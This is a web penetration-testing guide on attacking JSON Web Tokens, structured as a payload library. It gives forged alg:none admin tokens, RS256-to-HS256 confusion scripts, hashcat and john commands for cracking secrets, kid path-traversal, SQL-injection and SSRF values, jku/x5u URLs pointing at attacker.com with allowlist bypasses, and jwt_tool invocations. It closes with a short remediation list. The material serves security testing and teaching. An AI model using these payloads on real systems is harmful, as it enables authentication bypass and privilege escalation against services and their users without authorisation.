JWT Attacks
Severity: High–Critical | CWE: CWE-347 OWASP: A02:2021 – Cryptographic Failures
What Is a JWT?
A JSON Web Token consists of three base64url-encoded parts separated by dots:
HEADER.PAYLOAD.SIGNATURE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← header: {"alg":"HS256","typ":"JWT"}
.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ ← payload: {"sub":"user123","role":"user"}
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← HMAC-SHA256 signature
The server trusts the payload only if the signature is valid. Every attack targets the signature verification step.
Attack Surface
# Where JWTs appear:
Authorization: Bearer eyJ...
Cookie: token=eyJ...
Cookie: session=eyJ...
X-Auth-Token: eyJ...
POST body: {"token": "eyJ..."}
URL parameter: ?jwt=eyJ...
# Identify JWT:
- Three base64url segments separated by dots
- Starts with eyJ (base64 of {"al or {"ty)
- Can decode header/payload with: base64 -d (pad with = if needed)
Discovery Checklist
- Find all JWT tokens in requests/responses
- Decode header:
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d - Note
algfield — is itHS256,RS256,none,ES256? - Test
alg: nonebypass - Test algorithm confusion: RS256 → HS256 with public key as secret
- Test weak secret brute-force
- Test
kidheader injection (SQL, path traversal, SSRF) - Test
jku/x5uheader injection (external JWK set) - Test
jwkheader embedding - Modify payload claims (role, admin, sub) — does server validate signature?
Payload Library
Attack 1 — alg: none (Unsigned Token)
Some libraries accept tokens with no signature when alg is set to none.
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Base64url encode modified header (no padding):
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_'
# → eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# Modified payload with elevated role:
echo -n '{"sub":"user123","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_'
# → eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6ImFkbWluIn0
# Final token (trailing dot, empty signature):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6ImFkbWluIn0.
# Variants of "none":
{"alg":"None"}
{"alg":"NONE"}
{"alg":"nOnE"}
{"alg":"none "} ← trailing space
{"alg":""} ← empty string
{"alg":null}
{"alg":"hs256"} ← wrong case — some libs fall back to none
Attack 2 — Algorithm Confusion: RS256 → HS256
When server uses RS256 (asymmetric), the public key is often publicly accessible. If the library accepts HS256 when RS256 is expected, you can sign with the public key as the HMAC secret — the server verifies using the same public key.
# Step 1: Get public key
# Common locations:
curl https://target.com/.well-known/jwks.json
curl https://target.com/auth/realms/master/protocol/openid-connect/certs
curl https://target.com/oauth/.well-known/openid-configuration # → jwks_uri
# Or extract from existing valid token via jwt_forgery.py
# Step 2: Convert public key to PEM format (if in JWK format):
# Tool: jwt_tool, python-jwt, or manual:
python3 -c "
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt, base64, json
# Load JWK:
jwk = {'kty':'RSA','n':'...','e':'AQAB'}
# Convert to PEM for use as HS256 secret
"
# Step 3: Forge token signed with public key via HS256:
python3 jwt_tool.py TOKEN -X a # jwt_tool auto-detects algorithm confusion
# Manual with PyJWT:
python3 -c "
import jwt
public_key = open('public.pem','rb').read()
payload = {'sub':'user123','role':'admin'}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
Attack 3 — Weak Secret Brute-Force
HS256/HS384/HS512 uses a shared secret. Weak secrets are crackable offline.
# hashcat — GPU cracking (fastest):
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 jwt.txt wordlist.txt --show
# john the ripper:
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# jwt-cracker (Node.js):
npm install -g @lmammino/jwt-cracker
jwt-cracker -t eyJ... -a HS256 -w wordlist.txt
# jwt_tool brute-force:
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
# Common weak secrets to try first:
secret, password, 123456, qwerty, admin, test, jwt, key,
your-256-bit-secret, supersecret, letmein, changeit
"" ← empty string
" " ← single space
# Brute-force with custom charset (if numeric):
hashcat -a 3 -m 16500 jwt.txt ?d?d?d?d?d?d # 6-digit numeric
Attack 4 — kid Header Injection
The kid (Key ID) header tells the server which key to use for verification. If it’s user-controlled and passed to a file read or database query:
# kid = path traversal → read known file as secret:
# If server does: key = read_file("/keys/" + kid)
# Inject: {"kid": "../../dev/null"} → file is empty → HMAC secret = empty string
# kid = /dev/null → sign with empty string:
python3 -c "
import jwt
payload = {'sub':'admin','role':'admin'}
token = jwt.encode(payload, '', algorithm='HS256',
headers={'kid': '../../dev/null'})
print(token)
"
# kid variants:
{"kid": "../../dev/null"}
{"kid": "/dev/null"}
{"kid": "../../../dev/null"}
{"kid": "../../proc/sys/kernel/randomize_va_space"} ← content = "2\n"
{"kid": "/etc/passwd"} ← sign with /etc/passwd content as secret
# kid = SQL injection → if key fetched from DB:
{"kid": "x' UNION SELECT 'secretkey'-- -"}
{"kid": "x' UNION SELECT 'secretkey' FROM dual-- -"}
# Then sign token with 'secretkey' as HMAC secret
# kid = SSRF → if server fetches external key:
{"kid": "https://attacker.com/key.json"}
{"kid": "http://169.254.169.254/latest/meta-data/"}
Attack 5 — jku / x5u Header Injection
jku (JWK Set URL) points to a set of public keys. If attacker-controlled, host a JWK set with your own keys.
# Step 1: Generate RSA key pair:
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub
# Step 2: Create JWK set (host on attacker.com/jwks.json):
python3 -c "
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import jwt, json, base64
# Use jwt_tool to generate: python3 jwt_tool.py TOKEN -X s
# Or manually create jwks.json with your public key
"
# Step 3: Forge token with jku pointing to your server:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
{"alg":"RS256","x5u":"https://attacker.com/cert.pem"}
# Bypass allowlist on jku (if target checks domain):
{"jku":"https://target.com.attacker.com/jwks.json"}
{"jku":"https://target.com/redirect?url=https://attacker.com/jwks.json"}
{"jku":"https://attacker.com/jwks.json#target.com"}
# jwt_tool automates this:
python3 jwt_tool.py TOKEN -X s -ju "https://attacker.com/jwks.json"
Attack 6 — jwk Header Embedding
Embed your own public key directly in the token header:
# jwt_tool:
python3 jwt_tool.py TOKEN -X s # embeds generated key in jwk header
# Manual: header becomes:
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"n": "YOUR_PUBLIC_KEY_N",
"e": "AQAB"
}
}
# Sign with corresponding private key → server uses embedded public key to verify
Attack 7 — Claim Manipulation (if signature not checked)
Sometimes applications decode without verifying:
# Decode payload, modify, re-encode (without valid signature):
# Original: eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ
echo "eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ==" | base64 -d
# {"sub":"user123","role":"user"}
# Modified:
echo -n '{"sub":"admin","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_'
# Replace middle segment, keep original signature:
# → server validates format but not content? Test it.
# Common claims to escalate:
"role": "admin"
"admin": true
"is_admin": 1
"sub": "admin"
"user_id": 1
"permissions": ["admin","read","write"]
"scope": "admin:full"
"group": "administrators"
Automated Tools
# jwt_tool — comprehensive JWT attack toolkit:
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt
# Decode and check:
python3 jwt_tool.py eyJ...
# alg:none attack:
python3 jwt_tool.py eyJ... -X a
# Algorithm confusion (RS256→HS256):
python3 jwt_tool.py eyJ... -X k -pk public.pem
# jku injection:
python3 jwt_tool.py eyJ... -X s -ju "https://attacker.com/jwks.json"
# Crack secret:
python3 jwt_tool.py eyJ... -C -d rockyou.txt
# Tamper payload and sign:
python3 jwt_tool.py eyJ... -T -S hs256 -p "password"
# hashcat JWT crack:
hashcat -a 0 -m 16500 eyJ... rockyou.txt
# Burp JWT Editor extension (BApp Store):
# - Decode/modify JWT in Repeater
# - Embedded attack modes: alg:none, algorithm confusion, brute-force
# - JWK set generation for jku attacks
# jwt.io — manual decode/verify (online):
# https://jwt.io
Remediation Reference
- Verify signature before trusting claims — never decode-then-use without verify
- Reject
alg: noneexplicitly in library config - Fix algorithm to one value server-side — never trust the
algheader to select the verification algorithm - Validate
kid,jku,x5uagainst a strict allowlist — never use them as file paths or DB keys - Use strong secrets for HS256: minimum 256 bits (32 bytes) random, not dictionary words
- Prefer short expiration (
expclaim) + refresh token rotation - Use asymmetric RS256/ES256 for distributed systems, not shared HS256
Part of the Web Application Penetration Testing Methodology series.